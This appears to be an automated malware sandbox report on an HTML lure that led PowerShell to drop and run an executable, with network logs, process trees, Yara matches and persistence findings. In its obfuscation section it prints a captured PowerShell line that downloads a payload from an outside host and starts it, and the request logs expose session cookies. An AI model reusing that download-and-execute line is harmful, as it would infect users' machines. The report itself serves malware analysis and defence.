Edge/18.19045Host: fp.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rp/61MaLZ_pjezq_JKtjhA6R4FndI4.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rp/6Nc6wD1LVDO89UUu0yIzv8Dbmck.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rp/7_FbKeymGYZ7_-9xcBQEPEV22sg.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rp/9gCRzs8Nm2Gzn_DGoE0Pp_SoJfU.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rp/EfDjq2sKuuTL3oaNAH0jFWbaOeA.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rp/F8AL-orC_xaUVA9NgAgcxwQ11N8.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
Source: global traffic	HTTP traffic detected: GET /rp/GYWzw6Wnh2goOCGJn_s6AhjfSck.js HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E

Source: unknown

DNS traffic detected: queries for: clients2.google.com

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=LtGInZ4I4WDrCvCHQBVMHOy4a-sqzpSrMO-Rwr8ezStTz_kfoi2bri7uGdXfNvskAEO_Tj5Jkwl0XSN-qA6MYiGShcDB_vNQOl1bpl3aua7gMrDRvWsHLpAuFBlBnNxTMeen95XElzx3r4myG8p8sgSHdx4NBawYGaI5oFn_dZ8

Source: filename.exe.7.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: filename.exe.7.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: filename.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: filename.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: filename.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: filename.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: filename.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: filename.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: filename.exe.7.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: filename.exe.7.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: HARUMQ.html	String found in binary or memory: https://code.jquery.com/jquery-3.6.4.min.js
Source: filename.exe.7.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: filename.exe, 0000000B.00000000.2567028992.00007FF78A3A9000.00000002.00000001.01000000.00000004.sdmp, filename.exe.7.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: filename.exe.7.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.107.214.239:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.89.179.11:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.254:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.28.12:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.219.254:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.21.200:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.187.64.58:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49770 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7152.amsi.csv, type: OTHER

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\filename.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_BITS_6576_115309158

Jump to behavior

Source: amsi64_7152.amsi.csv, type: OTHER

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal64.evad.winHTML@21/16@11/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: \Sessions\1\BaseNamedObjects\PSReadLineHistoryFile_762381681

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tqvsfwa5.dcp.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\4bc5e5252873c08797895d5b6fe6ddfd\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\HARUMQ.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,1703252731387157357,5061710835993395700,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\filename.exe "C:\users\public\filename.exe"
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\notepad.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,1703252731387157357,5061710835993395700,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\filename.exe "C:\users\public\filename.exe"	Jump to behavior

Source: C:\Windows\System32\notepad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{11659a23-5884-4d1b-9cf6-67d6f4f90b36}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\filename.exe

Window detected: Number of UI elements: 20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($base64)));clear-host;$path1 = 'c:\\users\\public\\filename.exe';iwr -uri https://pixeltechnical.com/V1x/172988 -outfile $path1;start-process $path1;$RawUI = $Host.UI.RawUI$RawUI.Curs

Source: filename.exe.7.dr	Static PE information: section name: .00cfg
Source: filename.exe.7.dr	Static PE information: section name: .gxfg
Source: filename.exe.7.dr	Static PE information: section name: _RDATA

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\filename.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\filename.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\filename.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
